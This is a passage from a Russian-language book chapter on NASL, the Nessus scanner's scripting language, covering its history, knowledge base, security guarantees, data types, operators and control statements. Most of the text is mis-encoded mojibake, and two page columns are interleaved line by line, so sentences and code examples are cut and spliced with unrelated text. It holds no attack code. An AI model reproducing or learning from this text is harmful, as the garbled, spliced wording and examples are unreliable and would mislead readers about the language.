êå NASL, êîòîðûìè ìîæíî îáìåíèâàòüñÿ ñ äðóãèìè ïîëüçîâàòåëÿìè. Ìû îá- ïðîòîêîëàìè, êàê Hypertext Transfer Protocol (HTTP), File Transfer Protocol
ñóäèì òàêæå öåëè ÿçûêà, åãî ñèíòàêñèñ, ñðåäó ðàçðàáîòêè è âîïðîñû ïåðåíîñà (FTP) è Telnet. Êðîìå òîãî, NASL ïîääåðæèâàåò ïðîòîêîë HTTP ïîâåðõ ñëîÿ
êîäà ñ ÿçûêîâ C/C++ è Perl íà NASL è îáðàòíî. Secure Sockets Layer (HTTPS).

История Ìîäóëüíîñòü è ýôôåêòèâíîñòü


Ïðîãðàììó Nessus íàïèñàë è ñîïðîâîæäàåò Ðåíî Äåðåçîí (Renaud Deraison). NASL ïîçâîëÿåò ëþáîìó ñöåíàðèþ âîñïîëüçîâàòüñÿ ðàáîòîé, ïðîäåëàííîé
Âîò âûäåðæêà èç äîêóìåíòàöèè, â êîòîðîé ãîâîðèòñÿ îá èñòîðèè ïðîåêòà: ðàíåå â äðóãèõ ñöåíàðèÿõ. Äëÿ ýòîãî ñëóæèò «áàçà çíàíèé» Nessus. Â õîäå èñ-
ïîëíåíèÿ Nessus êàæäûé NASL-ñöåíàðèé ïîìåùàåò ðåçóëüòàòû ñâîåé ðàáîòû
NASL вырос из частного проекта «pkt_forge», который разработал â ëîêàëüíóþ áàçó äàííûõ, îòêóäà îíè ìîãóò áûòü èçâëå÷åíû äðóãèìè ñöåíàðè-
в конце 1998 года Рено Дерезон и который представлял собой ин ÿìè. (Íàïðèìåð, íåêèé ñöåíàðèé ìîã ïðîñêàíèðîâàòü õîñò íà íàëè÷èå ñëóæ-
терактивную оболочку для конструирования и отправки IPпа áû FTP è çàïèñàòü â áàçó äàííûõ íîìåðà ïîðòîâ, íà êîòîðûõ îáíàðóæåí FTP-
кетов (программа появилась на пару недель раньше Perlмодуля ñåðâåð. Åñëè íàéäåíî äâà ýêçåìïëÿðà FTP – íà ïîðòàõ 21 è 909, òî çíà÷åíèÿìè
Net::RawIP). Затем проект был расширен с целью поддержки более ïàðàìåòðà Service/FTP áóäóò ÷èñëà 21 è 909.) Åñëè â äàëüíåéøåì äðóãîé ñöåíà-
широкого набора сетевых операций и интегрирован с Nessus под на ðèé, ïðåäíàçíà÷åííûé äëÿ ïîèñêà «âîëøåáíîãî FTP-ñåðâåðà Äæåéñîíà», âû-
званием NASL. çîâåò ôóíêöèþ get_kb_item(Services/FTP), òî îí àâòîìàòè÷åñêè áóäåò âûïîë-
Первый синтаксический анализатор был написан вручную, и работать íåí äâàæäû, ïî îäíîìó ðàçó äëÿ êàæäîãî íîìåðà ïîðòà. Ýòî êóäà ýôôåêòèâ-
с ним было очень тяжело. В середине 2002 года Мишель Арбуа (Michel íåå, ÷åì çàíîâî çàïóñêàòü ïîëíûé àëãîðèòì ñêàíèðîâàíèÿ TCP-ïîðòîâ äëÿ
Arboi) написал анализатор для NASL на базе bison, после чего вдвоем ïðîâåðêè íàëè÷èÿ ñëóæáû FTP.
110 Глава 2. Язык сценариев NASL Синтаксис языка NASL 111

Áåçîïàñíîñòü Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:


# Àâòîð: Syngress
Ïîñêîëüêó NASL-ñöåíàðèè ðàçäåëÿþòñÿ âñåìè ïîëüçîâàòåëÿìè, èíòåðïðå- Èìÿ ôàéëà: example.nasl #
òàòîð NASL äîëæåí óìåòü äàâàòü ãàðàíòèè îòíîñèòåëüíî áåçîïàñíîñòè êàæ-
äîãî ñöåíàðèÿ. NASL ãàðàíòèðóåò äâå âåùè: port = get_kb_item # ÷èòàòü ïîðò èç áàçû çíàíèé # ("Services/http")

 Ïàêåòû íå ïîñûëàþòñÿ íèêàêîìó õîñòó, êðîìå öåëåâîãî;


Ïåðåìåííûå
 Êîìàíäû íèêîãäà íå âûïîëíÿþòñÿ íà ëîêàëüíîé ñèñòåìå.
Ðàáîòàòü ñ ïåðåìåííûìè â NASL î÷åíü ïðîñòî. Èõ íå íàäî îáúÿâëÿòü çàðà-
Òåì ñàìûì çàãðóçêà è èñïîëíåíèå NASL-ñöåíàðèåâ, íàïèñàííûõ äðóãèìè, íåå, è î ïðåîáðàçîâàíèè òèïîâ, âûäåëåíèè è îñâîáîæäåíèè ïàìÿòè çàáîòèò-
áåçîïàñíåå, ÷åì èñïîëíåíèå ïðîèçâîëüíîãî êîäà. Îäíàêî, íåêîòîðûå ñöåíà- ñÿ ñàì èíòåðïðåòàòîð. Êàê è â C, èìåíà ïåðåìåííûõ â NASL ÷óâñòâèòåëüíû
ðèè ïèøóòñÿ äëÿ îáíàðóæåíèÿ è èíîãäà ýêñïëóàòàöèè óÿçâèìîñòåé â ñëóæáàõ, ê ðåãèñòðó.
ðàáîòàþùèõ íà öåëåâîì õîñòå, ïîýòîìó ìîãóò ïðèâåñòè ê êðàõó îòäåëüíîé NASL ïîääåðæèâàåò ñëåäóþùèå òèïû äàííûõ: öåëûå ÷èñëà, ñòðîêè, ìàññè-
ñëóæáû èëè õîñòà â öåëîì. Ñöåíàðèè, çàãðóæåííûå ñ ñàéòà nessus.org, ðàçáèòû âû è NULL. Áóëåâñêèå âåëè÷èíû ðåàëèçîâàíû, íî íå êàê îòäåëüíûé òèï äàí-
íà äåâÿòü êàòåãîðèé â çàâèñèìîñòè îò òîãî, ÷òî îíè äåëàþò: òîëüêî ñîáèðàþò íûõ. ×èñëà ñ ïëàâàþùåé òî÷êîé NASL íå ïîääåðæèâàåò.
èíôîðìàöèþ, âûâîäÿò ñëóæáó èç ñòðîÿ, ïûòàþòñÿ âûâåñòè èç ñòðîÿ õîñò è
òàê äàëåå. Ïîëüçîâàòåëè Nessus ìîãóò ñàìè ðåøèòü, ñöåíàðèè êàêîé êàòåãî- Öåëûå ÷èñëà
ðèè ðàçðåøåíî èñïîëíÿòü. Åñòü òðè âèäà öåëûõ ÷èñåë: äåñÿòè÷íûå, âîñüìåðè÷íûå è øåñòíàäöàòåðè÷íûå.
Âîñüìåðè÷íûå ÷èñëà çàïèñûâàþòñÿ ñ íà÷àëüíûì íóëåì, à øåñòíàäöàòåðè÷-
Îãðàíè÷åíèÿ NASL íûì ïðåäøåñòâóåò ïðåôèêñ 0x. Òàêèì îáðàçîì, 0x10 = 020 = 16. Öåëûå ÷èñëà
ðåàëèçîâàíû ñ ïîìîùüþ òèïà int (èç ÿçûêà C), òàê ÷òî äëÿ áîëüøèíñòâà ñèñ-
Âàæíî ïîíèìàòü, ÷òî NASL – ýòî íå óíèâåðñàëüíûé ÿçûê ñöåíàðèåâ, ïðè-
òåì çàíèìàþò 32 áèòà, à äëÿ íåêîòîðûõ – 64 áèòà.
çâàííûé çàìåíèòü Perl èëè Python. Ïðîìûøëåííûå ÿçûêè ìîãóò äåëàòü
âåùè, íåâûïîëíèìûå ñðåäñòâàìè NASL. È õîòÿ NASL âåñüìà ýôôåêòèâåí è Ñòðîêè
îïòèìèçèðîâàí äëÿ ðàáîòû ñ Nessus, âñå æå ýòî íå ñàìûé áûñòðûé ÿçûê Åñòü äâà âèäà ñòðîê: ÷èñòûå (pure) è íåî÷èùåííûå (impure). Íåî÷èùåííûå
â ìèðå. Ìèøåëü Àðáóà óòâåðæäàåò, ÷òî ïðè âûïîëíåíèè íåêîòîðûõ çàäà÷ ñòðîêè çàêëþ÷àþòñÿ â äâîéíûå êàâû÷êè, escape-ïîñëåäîâàòåëüíîñòè â íèõ íå
NASL2 áûñòðåå NASL1 â 16 ðàç. îáðàáàòûâàþòñÿ. Âíóòðåííÿÿ ôóíêöèÿ string ïðåîáðàçóåò íåî÷èùåííûå ñòðî-
êè â ÷èñòûå, èíòåðïðåòèðóÿ escape-ïîñëåäîâàòåëüíîñòè âíóòðè ñòðîêè, çà-
êëþ÷åííîé â îäèíàðíûå êàâû÷êè. Íàïðèìåð, íåî÷èùåííóþ ñòðîêó City\tState
Синтаксис языка NASL ôóíêöèÿ string ïðåîáðàçîâàëà áû â City State.
NASL ïîääåðæèâàåò ñëåäóþùèå escape-ïîñëåäîâàòåëüíîñòè:
 ýòîì ðàçäåëå ìû äàäèì íåêîòîðîå ïðåäñòàâëåíèå î ñèíòàêñèñå NASL, äîñ-
 \n – ñèìâîë ïåðåõîäà íà íîâóþ ñòðîêó;
òàòî÷íîå äëÿ òîãî, ÷òîáû âû ìîãëè ïðèñòóïèòü ê íàïèñàíèþ ñîáñòâåííûõ
 \t – ãîðèçîíòàëüíàÿ òàáóëÿöèÿ;
ñöåíàðèåâ. Ïîëíîå ðàññìîòðåíèå ñèíòàêñèñà NASL, âêëþ÷àþùåå ôîðìàëü-
 \v – âåðòèêàëüíàÿ òàáóëÿöèÿ;
íîå îïèñàíèå ãðàììàòèêè, âû ìîæåòå íàéòè â «Ñïðàâî÷íîì ðóêîâîäñòâå ïî
 \r – âîçâðàò êàðåòêè;
ÿçûêó NASL2» Ìèøåëÿ Àðáóà.
 \f – ïåðåõîä íà íîâóþ ñòðàíèöó;
 \’ – îäèíî÷íàÿ êàâû÷êà;
Êîììåíòàðèè  \” – äâîéíàÿ êàâû÷êà;
Òåêñò, ñëåäóþùèé çà ñèìâîëîì # äî êîíöà ñòðîêè, èãíîðèðóåòñÿ. Ìíîãî-  \x41 – ýòî A, \x42 – ýòî B è ò.ä. Ïîñëåäîâàòåëüíîñòü \x00 íåäîïóñòèìà.
ñòðî÷íûå êîììåíòàðèè (òèïà /* */ â C) íå äîïóñêàþòñÿ.
Ìàññèâû
Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ: Â NASL ïîääåðæèâàþòñÿ ìàññèâû äâóõ âèäîâ: ñòàíäàðòíûå è àññîöèàòèâ-
x = 1 # ïðèñâîèòü x çíà÷åíèå 1 íûå. Ñòàíäàðòíûå ìàññèâû èíäåêñèðóþòñÿ öåëûìè ÷èñëàìè, íà÷èíàÿ ñ íóëÿ.
112 Глава 2. Язык сценариев NASL Синтаксис языка NASL 113

NULL
NULL – ýòî «çíà÷åíèå», êîòîðîå èìååò ïåðåìåííàÿ, ïîêà åé íå ïðèñâîèëè
Советы и уловки äðóãîå çíà÷åíèå ÿâíî. Èíîãäà åãî âîçâðàùàþò âíóòðåííèå ôóíêöèè, ÷òîáû
Чем кончаются строки? ñîîáùèòü îá îøèáêå.
Много лет назад был сконструирован компьютер «Teletype Model 33», ×òîáû ïðîâåðèòü, ðàâíà ïåðåìåííàÿ NULL èëè íåò, ïîëüçóéòåñü ôóíêöèåé
в котором использовались только рычаги, пружины, перфокарты и ро isnull(). Ïðÿìîå ñðàâíåíèå ñ êîíñòàíòîé NULL (var == NULL) íåáåçîïàñíî,
торы. Машина могла выводить информацию со скоростью 10 симво ïîñêîëüêó NULL àâòîìàòè÷åñêè ïðåîáðàçóåòñÿ â 0 èëè «» (ïóñòóþ ñòðîêó)
лов в секунду, но для перевода печатающей головки в начало следую â çàâèñèìîñòè îò òèïà ïåðåìåííîé var.
щей строки требовалось примерно две десятых секунды. Все симво Âçàèìîäåéñòâèå ìåæäó çíà÷åíèåì NULL è ìàññèâàìè íåòðèâèàëüíî. Ïîñ-
лы, выводимые в течение этого интервала, терялись. Для решения ëå ïîïûòêè ïðî÷èòàòü ýëåìåíò ìàññèâà èç ïåðåìåííîé, ðàâíîé NULL, ýòà ïå-
проблемы конструкторы решили для обозначения конца строки ис ðåìåííàÿ íà÷èíàåò ññûëàòüñÿ íà ïóñòîé ìàññèâ. Âîò ïðèìåð èç ðóêîâîäñòâà ïî
пользовать последовательность из двух символов: «возврат каретки» ÿçûêó NASL:
для возврата головки в начало текущей строки и «перевод строки» для v = NULL;
продвижения бумаги на одну строку. # isnull(v) âîçâðàùàåò TRUE, à typeof(v) âîçâðàùàåò "undef"
x = v(2);
Конструкторы первых компьютеров решили, что два символа для обо
# isnull(x) âîçâðàùàåò TRUE, à typeof(x) âîçâðàùàåò "undef"
значения конца строка – это пустой расход памяти. Некоторые пред # Íî òåïåðü isnull(v) âîçâðàùàåò FALSE, typeof(v) âîçâðàùàåò "array"
почли ограничиться единственным символом возврата каретки (\r или
\x0d), другие символом перевода строки (\n или \x0a). Были и такие, Áóëåâñêèå âåëè÷èíû
кто решил сохранить оба символа. Äëÿ áóëåâñêèõ âåëè÷èí íåò ñïåöèàëüíîãî òèïà. Ïðîñòî êîíñòàíòà TRUE îï-
Так и получилось, что в разных операционных системах строки текста ðåäåëÿåòñÿ êàê 1, à êîíñòàíòà FALSE – êàê 0. Ïðî÷èå òèïû ïðåîáðàçóþòñÿ
завершаются поразному: â TRUE èëè FALSE ñîãëàñíî ñëåäóþùèì ïðàâèëàì:
 В Microsoft Windows применяется комбинация возврата каретки и  Öåëîå ÷èñëî èíòåðïðåòèðóåòñÿ êàê TRUE, åñëè îíî íå ðàâíî íè 0, íè
перевода строки (\r\n); NULL;
 В UNIX используется только символ перевода строки (\n);  Ñòðîêà èíòåðïðåòèðóåòñÿ êàê TRUE, åñëè îíà íå ïóñòà, èíûìè ñëîâàìè
 В Macintosh OS 9 и более ранних версиях используется символ «0» ðàâíî TRUE â îòëè÷èå îò Perl è NASL1;
возврата каретки (\r).  Ìàññèâ âñåãäà èíòåðïðåòèðóåòñÿ êàê TRUE, äàæå åñëè îí ïóñò;
 NULL (èëè íåîïðåäåëåííàÿ ïåðåìåííàÿ) èíòåðïðåòèðóåòñÿ êàê FALSE.
Система Macintosh OS X – это помесь традиционной системы Mac OS
и UNIX. В ней используется то \r, то \n в зависимости от ситуации.
В большинстве командных утилит, заимствованных из UNIX, применя
Îïåðàòîðû
ется символ \n, тогда как графические приложения, унаследованные NASL íå ïîääåðæèâàåò ïåðåãðóçêè îïåðàòîðîâ. Íèæå îáñóæäàþòñÿ âñå îïå-
от OS 9, продолжают завершать строки символом \r. ðàòîðû, èìåþùèåñÿ â ýòîì ÿçûêå.
Îïåðàòîðû âíå êàòåãîðèè
Ê òàêîâûì îòíîñÿòñÿ îïåðàòîðû ïðèñâàèâàíèÿ è èíäåêñèðîâàíèÿ ìàññèâà:
Àññîöèàòèâíûå æå ìàññèâû èëè õýøè ïîçâîëÿþò â êà÷åñòâå êëþ÷à èñïîëüçî-
âàòü ñòðîêè, íî ïðè ýòîì íå ñîõðàíÿåòñÿ ïîðÿäîê ýëåìåíòîâ.  îáîèõ ñëó÷à-  Îïåðàòîð ïðèñâàèâàíèÿ îáîçíà÷àåòñÿ çíàêîì =. Âûðàæåíèå x = y îçíà-
ÿõ äëÿ âçÿòèÿ èíäåêñà ïðèìåíÿåòñÿ îïåðàòîð [ ]. ÷àåò, ÷òî çíà÷åíèå y êîïèðóåòñÿ â x.  äàííîì ïðèìåðå, åñëè ïåðåìåí-
Âàæíî îòìåòèòü, ÷òî êîãäà âû óêàçûâàåòå áîëüøîå ÷èñëî â êà÷åñòâå èíäåêñà, íàÿ y íå îïðåäåëåíà, òî íåîïðåäåëåííîé ñòàíîâèòñÿ è x. Îïåðàòîð ïðè-
NASL âûíóæäåí âûäåëèòü ïàìÿòü äëÿ âñåõ ïðîìåæóòî÷íûõ ýëåìåíòîâ ìàññèâà, ñâàèâàíèÿ ïðèìåíèì êî âñåì ÷åòûðåì âñòðîåííûì òèïàì;
÷òî ìîæåò ïðèâåñòè ê ÷ðåçìåðíîìó ðàñõîäîâàíèþ ïàìÿòè.  òàêèõ ñëó÷àÿõ ëó÷-  Îïåðàòîð èíäåêñèðîâàíèÿ ìàññèâà îáîçíà÷àåòñÿ êâàäðàòíûìè ñêîáêà-
øå ïðåîáðàçîâàòü ÷èñëî â ñòðîêó è ïðèáåãíóòü ê àññîöèàòèâíîìó ìàññèâó. ìè [ ]. Èíäåêñèðîâàòü ìîæíî, â ÷àñòíîñòè, ñòðîêè. Òàê, ïîñëå ïðèñâà-
114 Глава 2. Язык сценариев NASL Синтаксис языка NASL 115

èâàíèÿ name = Nessus çíà÷åíèå name[1] ðàâíî e.  îòëè÷èå îò NASL1, Îïåðàòîðû ðàáîòû ñî ñòðîêàìè
ÿçûê NASL2 íå ïîçâîëÿåò çàïèñûâàòü ñèìâîëû â ñòðîêó ñ ïîìîùüþ Ñòðîêîâûå îïåðàòîðû îáåñïå÷èâàþò áîëåå âûñîêèé óðîâåíü ðàáîòû ñî ñòðî-
îïåðàòîðà èíäåêñèðîâàíèÿ (òî åñòü çàïèñü name[1] = «E» íåêîððåêòíà). êàìè. Îíè ïîçâîëÿþò êîíêàòåíèðîâàòü ñòðîêè, âû÷èòàòü îäíó ñòðîêó èç äðó-
ãîé, âûïîëíÿòü ñðàâíåíèå è ñîïîñòàâëåíèå ñ ðåãóëÿðíûì âûðàæåíèåì. Â ñî-
Îïåðàòîðû ñðàâíåíèÿ
÷åòàíèè ñ ôóíêöèÿìè èç áèáëèîòåêè NASL âñòðîåííûå îïåðàòîðû ïîçâîëÿ-
Ñëåäóþùèå îïåðàòîðû ñëóæàò äëÿ ñðàâíåíèÿ çíà÷åíèé â óñëîâíûõ âûðàæå- þò ìàíèïóëèðîâàòü ñòðîêàìè òàê æå óäîáíî, êàê â ÿçûêàõ Python èëè PHP.
íèÿõ è âîçâðàùàþò TRUE èëè FALSE. Âñå îíè ïðèìåíèìû ê ëþáîìó èç ÷åòû- Õîòÿ ðàáîòàòü ñî ñòðîêàìè êàê ñ ìàññèâàìè ñèìâîëîâ (àíàëîãè÷íî C) âñå
ðåõ òèïîâ äàííûõ: åùå ìîæíî, íî òåïåðü ýòî óæå íå ÿâëÿåòñÿ íåîáõîäèìîñòüþ:
 == – ýòî îïåðàòîð ñðàâíåíèÿ íà ðàâåíñòâî. Îí âîçâðàùàåò TRUE, åñëè  + îáîçíà÷àåò êîíêàòåíàöèþ (ñöåïëåíèå) ñòðîê. ×òîáû èçáåæàòü âîç-
çíà÷åíèÿ àðãóìåíòîâ îäèíàêîâû, èíà÷å FALSE; ìîæíûõ íåîäíîçíà÷íîñòåé ïðè ïðåîáðàçîâàíèè òèïîâ, ðåêîìåíäóåòñÿ
 != – ýòî îïåðàòîð ñðàâíåíèÿ íà íåðàâåíñòâî. Îí âîçâðàùàåò TRUE, åñëè ïðèìåíÿòü ôóíêöèþ string;
çíà÷åíèÿ àðãóìåíòîâ ðàçëè÷íû, èíà÷å FALSE;  – îáîçíà÷àåò âû÷èòàíèå ñòðîê.  ðåçóëüòàòå ïåðâîå âõîæäåíèå îäíîé
 > – ýòî îïåðàòîð «áîëüøå». Ïðè ñðàâíåíèè öåëûõ ÷èñåë îí ðàáîòàåò ñòðîêè â äðóãóþ óäàëÿåòñÿ (íàïðèìåð, Nessus – ess == Nus);
êàê è îæèäàåòñÿ. Ñòðîêè ñðàâíèâàþòñÿ íà îñíîâå êîäà ASCII. Íàïðè-  [ ] âîçâðàùàåò ñèìâîë ñòðîêè, îá ýòîì ìû óæå ãîâîðèëè (íàïðèìåð,
ìåð, (a < b), (A < b) è (A < B) – èñòèííûå âûðàæåíèÿ, òîãäà êàê (a < B) – åñëè str == Nessus, òî str[0] == N);
ëîæíîå. Ñëåäîâàòåëüíî, äëÿ ñðàâíåíèÿ â àëôàâèòíîì ïîðÿäêå áåç ó÷åòà  >< îáîçíà÷àåò îïåðàöèþ ïîèñêà ïîäñòðîêè. Îíà âîçâðàùàåò TRUE, åñëè
ðåãèñòðà íóæíî ïðåäâàðèòåëüíî ïðåîáðàçîâàòü îáå ñòðîêè â âåðõíèé ïåðâàÿ ñòðîêà âõîäèò âî âòîðóþ (íàïðèìåð, us >< Nessus âîçâðàùàåò
èëè íèæíèé ðåãèñòð. Ïðèìåíåíèå îïåðàòîðîâ «áîëüøå» è «ìåíüøå» TRUE);
ê îïåðàíäàì, îäíèì èç êîòîðûõ ÿâëÿåòñÿ ÷èñëî, à äðóãèì – ñòðîêà, äàåò  Îïåðàòîð >|< ïî ñìûñëó ïðîòèâîïîëîæåí ><. Îí âîçâðàùàåò TRUE,
íåîïðåäåëåííûå ðåçóëüòàòû; åñëè ïåðâàÿ ñòðîêà íå âõîäèò âî âòîðóþ;
 >= – ýòî îïåðàòîð «áîëüøå èëè ðàâíî»;  =~ – ýòî îïåðàòîð ñîïîñòàâëåíèÿ ñ ðåãóëÿðíûì âûðàæåíèåì. Îí âîç-
 < – ýòî îïåðàòîð «ìåíüøå»; âðàùàåò TRUE, åñëè ñòðîêà ñîîòâåòñòâóåò ðåãóëÿðíîìó âûðàæåíèþ, è
 <= – ýòî îïåðàòîð «ìåíüøå èëè ðàâíî». FALSE â ïðîòèâíîì ñëó÷àå. Çàïèñü s =~ [abc]+zzz ôóíêöèîíàëüíî ýêâè-
âàëåíòíà òàêîìó âûçîâó ôóíêöèè ereg(string:s, pattern: [abc]+zzzz, icase:1);
Àðèôìåòè÷åñêèå îïåðàòîðû
 !~ îáîçíà÷àåò îòñóòñòâèå ñîîòâåòñòâèÿ ðåãóëÿðíîìó âûðàæåíèþ;
Ñëåäóþùèå îïåðàòîðû âûïîëíÿþò ñòàíäàðòíûå àðèôìåòè÷åñêèå îïåðàöèè
 Îïåðàòîðû =~ è !~ âîçâðàùàþò NULL, åñëè ðåãóëÿðíîå âûðàæåíèå ñî-
íàä öåëûìè ÷èñëàìè. Íèæå ìû åùå ñêàæåì, ÷òî íåêîòîðûå èç íèõ âåäóò ñåáÿ
ñòàâëåíî íåâåðíî.
ïî-ðàçíîìó â çàâèñèìîñòè îò òèïîâ îïåðàíäîâ. Íàïðèìåð, äëÿ öåëûõ ÷èñåë +
îáîçíà÷àåò îáû÷íîå ñëîæåíèå, à äëÿ ñòðîê – êîíêàòåíàöèþ: Ëîãè÷åñêèå îïåðàòîðû
 + îáîçíà÷àåò îïåðàöèþ ñëîæåíèÿ, åñëè îïåðàíäû – öåëûå ÷èñëà; Ëîãè÷åñêèå îïåðàòîðû âîçâðàùàþò TRUE èëè FALSE, òî åñòü 1 èëè 0 ñîîòâåò-
 - îáîçíà÷àåò îïåðàöèþ âû÷èòàíèÿ, åñëè îïåðàíäû – öåëûå ÷èñëà; ñòâåííî â çàâèñèìîñòè îò ñâîèõ îïåðàíäîâ:
 * îáîçíà÷àåò óìíîæåíèå;  ! – ýòî îïåðàòîð ëîãè÷åñêîãî îòðèöàíèÿ;
 / îáîçíà÷àåò äåëåíèå, ïðè ýòîì îñòàòîê îòáðàñûâàåòñÿ (ò.å. 20 / 6 == 3);  && – ëîãè÷åñêîå È. Îïåðàòîð âîçâðàùàåò TRUE, åñëè îáà àðãóìåíòà ðàâ-
 NASL íå ïîääåðæèâàåò àðèôìåòèêè ñ ïëàâàþùåé òî÷êîé; íû TRUE. Ïðè ýòîì ïîääåðæèâàåòñÿ ñîêðàùåííîå âû÷èñëåíèå, òî åñòü
 äåëåíèå íà 0 äàåò ðåçóëüòàò 0, à íå ïðèâîäèò ê çàâåðøåíèþ èíòåðïðåòà- åñëè ïåðâûé îïåðàíä ðàâåí FALSE, òî âòîðîé íå âû÷èñëÿåòñÿ âîâñå;
òîðà;  || – ëîãè÷åñêîå ÈËÈ. Îïåðàòîð âîçâðàùàåò TRUE, åñëè õîòÿ áû îäèí èç
 % îáîçíà÷àåò îïåðàöèþ âçÿòèÿ îñòàòêà îò äåëåíèÿ (ò.å. 20 % 6 == 2). àðãóìåíòîâ ðàâåí TRUE. Ïðè ýòîì ïîääåðæèâàåòñÿ ñîêðàùåííîå âû-
Åñëè âòîðîé îïåðàíä ðàâåí 0, òî âîçâðàùàåòñÿ 0; ÷èñëåíèå, òî åñòü åñëè ïåðâûé îïåðàíä ðàâåí TRUE, òî âòîðîé íå âû-
 ** îáîçíà÷àåò âîçâåäåíèå â ñòåïåíü (íàïðèìåð, 2 ** 3 == 8). ÷èñëÿåòñÿ âîâñå.
116 Глава 2. Язык сценариев NASL Синтаксис языка NASL 117

Ïîáèòîâûå îïåðàòîðû x = x + 10;

Ïîáèòîâûå îïåðàòîðû ïîçâîëÿþò ìàíèïóëèðîâàòü îòäåëüíûìè áèòàìè öå- à ìîæíî è òàê:


x += 10;
ëûõ ÷èñåë è äâîè÷íûõ äàííûõ.  Ñîêðàùåííàÿ çàïèñü ïðèìåíèìà ê ñëåäóþùèì îïåðàòîðàì: +, -, *, /, %,
 ~ – ïîáèòîâîå ÍÅ; <<, >> è >>>.
 & – ïîáèòîâîå È;
 | – ïîáèòîâîå ÈËÈ; Óïðàâëÿþùèå êîíñòðóêöèè
 ^ – ïîáèòîâîå ÈÑÊËÞ×ÀÞÙÅÅ ÈËÈ;
Îáùèé òåðìèí «óïðàâëÿþùèå êîíñòðóêöèè» îòíîñèòñÿ ê óñëîâíûì îïåðà-
 << – ëîãè÷åñêèé ñäâèã âëåâî. Ñäâèã âëåâî íà îäèí áèò ýêâèâàëåíòåí
óìíîæåíèþ íà 2 (íàïðèìåð, x << 2 – ýòî òî æå ñàìîå, ÷òî x * 4); òîðàì, öèêëàì, ôóíêöèÿì è ñâÿçàííûì ñ íèìè èíñòðóêöèÿì return è break.
 >> – àðèôìåòè÷åñêèé (ñ ó÷åòîì çíàêîâîãî áèòà) ñäâèã âïðàâî. Çíàêî- Âñå ýòè èíñòðóêöèè ïîçâîëÿþò óïðàâëÿòü ïîòîêîì âûïîëíåíèÿ NASL-ñöåíà-
âûé áèò ðàñïðîñòðàíÿåòñÿ íà ðåçóëüòàò, òî åñòü x >> 2 – òî æå ñàìîå, ðèåâ. NASL ïîääåðæèâàåò êëàññè÷åñêèå èíñòðóêöèè if-then-else, íî íå ïîä-
÷òî x / 4; äåðæèâàåò ïðåäëîæåíèé case è switch. Â NASL åñòü öèêëû âèäà for, foreach, while
 >>> – ëîãè÷åñêèé (áåç ó÷åòà çíàêîâîãî áèòà) ñäâèã âïðàâî. Çíàêîâûé è repeat-until. Èíñòðóêöèÿ break ïîçâîëÿåò âûéòè èç öèêëà, äàæå åñëè óñëîâèå
áèò èãíîðèðóåòñÿ (åñëè x áîëüøå 0, òî x >> 2 – òî æå ñàìîå, ÷òî x / 4). öèêëà åùå îñòàåòñÿ èñòèííûì. Â NASL òàêæå èìåþòñÿ âñòðîåííûå è ïîëüçî-
âàòåëüñêèå ôóíêöèè, ïðè÷åì â îáîèõ ñëó÷àÿõ äëÿ âîçâðàòà óïðàâëåíèÿ âûçû-
Îïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå C âàþùåé ïðîãðàììå ïðèìåíÿåòñÿ èíñòðóêöèÿ return.
Äëÿ óäîáñòâà â NASL äîáàâëåíû îïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå C.
Èíñòðóêöèè if
 ++ è -- îáîçíà÷àþò îïåðàöèè èíêðåìåíòà è äåêðåìåíòà. ++ óâåëè÷èâàåò NASL ïîääåðæèâàåò èíñòðóêöèè if è else, íî íå ïîääåðæèâàåò elsif. Èìèòèðî-
çíà÷åíèå ïåðåìåííîé íà 1, à -- óìåíüøàåò íà 1. Îáà ýòèõ îïåðàòîðà ìîãóò âàòü ôóíêöèîíàëüíîñòü èíñòðóêöèè elsif ìîæíî, ñöåïèâ íåñêîëüêî èíñòðóê-
ïðèìåíÿòüñÿ â äâóõ ôîðìàõ; öèé if.
 Ïðè èñïîëüçîâàíèè ñóôôèêñíîé çàïèñè (x++ èëè x--) âîçâðàùàåòñÿ
ñòàðîå çíà÷åíèå, êîòîðîå ïåðåìåííàÿ èìåëà äî óâåëè÷åíèÿ. Ðàññìîò- if (x == 10) {
ðèì, òàêîé êîä: display("x ðàâíî 10");
x = 5; } else if (x > 10) {
display(x, x++, x); display("x áîëüøå 10");
 Îí íàïå÷àòàåò 556, à çíà÷åíèå x ïîñëå âûïîëíåíèÿ áóäåò ðàâíî 6. Àíà- } else {
display("x ìåíüøå 10");
ëîãè÷íî, êîä }
x = 5;
display(x, x--, x); Öèêëû for
íàïå÷àòàåò 554, à çíà÷åíèå x ñòàíåò ðàâíî 4;
Ñèíòàêñèñ öèêëà for ïðàêòè÷åñêè íå îòëè÷àåòñÿ îò ïðèíÿòîãî â ÿçûêå C:
 Äëÿ îïåðàòîðîâ èíêðåìåíòà è äåêðåìåíòà âîçìîæíà òàêæå ïðåôèêñíàÿ
çàïèñü (++x èëè --x). Ïðè ýòîì çíà÷åíèå ñíà÷àëà ìîäèôèöèðóåòñÿ, à for (íà÷àëüíîå_âûðàæåíèå; óñëîâèå_öèêëà; âûðàæåíèå_öèêëà) {
ïîòîì âîçâðàùàåòñÿ. Ðàññìîòðèì, òàêîé ïðèìåð: êîä;
x = 5; }
display(x, ++x, x);
 Áóäåò íàïå÷àòàíî 566, à çíà÷åíèå x ñòàíåò ðàâíî 6. Àíàëîãè÷íî, êîä  ñëåäóþùåì ïðèìåðå ïå÷àòàþòñÿ ÷èñëà îò 1 äî 100 (ïî îäíîìó íà ñòðîêå):
x = 5;
display(x, --x, x);
for (i=1; i<=100; i++) {
íàïå÷àòàåò 544, à çíà÷åíèå x ñòàíåò ðàâíî 4; display(i, '\n');
  NASL åñòü òàêæå óäîáíîå ñèíòàêñè÷åñêîå ñîêðàùåíèå. ×àñòî áûâàåò, }
÷òî íàä ïåðåìåííîé ïðîèçâîäèòñÿ íåêîòîðîå äåéñòâèå, ðåçóëüòàò êîòî-
ðîãî ïðèñâàèâàåòñÿ òîé æå ïåðåìåííîé. Åñëè, íàïðèìåð, íóæíî ïðè- Ïîñëå çàâåðøåíèÿ ýòîãî öèêëà çíà÷åíèå i ðàâíî 101. Ýòî îáúÿñíÿåòñÿ òåì,
áàâèòü ê x çíà÷åíèå 10, òî ìîæíî íàïèñàòü: ÷òî âûðàæåíèå_öèêëà âû÷èñëÿåòñÿ íà êàæäîé èòåðàöèè, ïîêà óñëîâèå_öèêëà íå
118 Глава 2. Язык сценариев NASL Синтаксис языка NASL 119

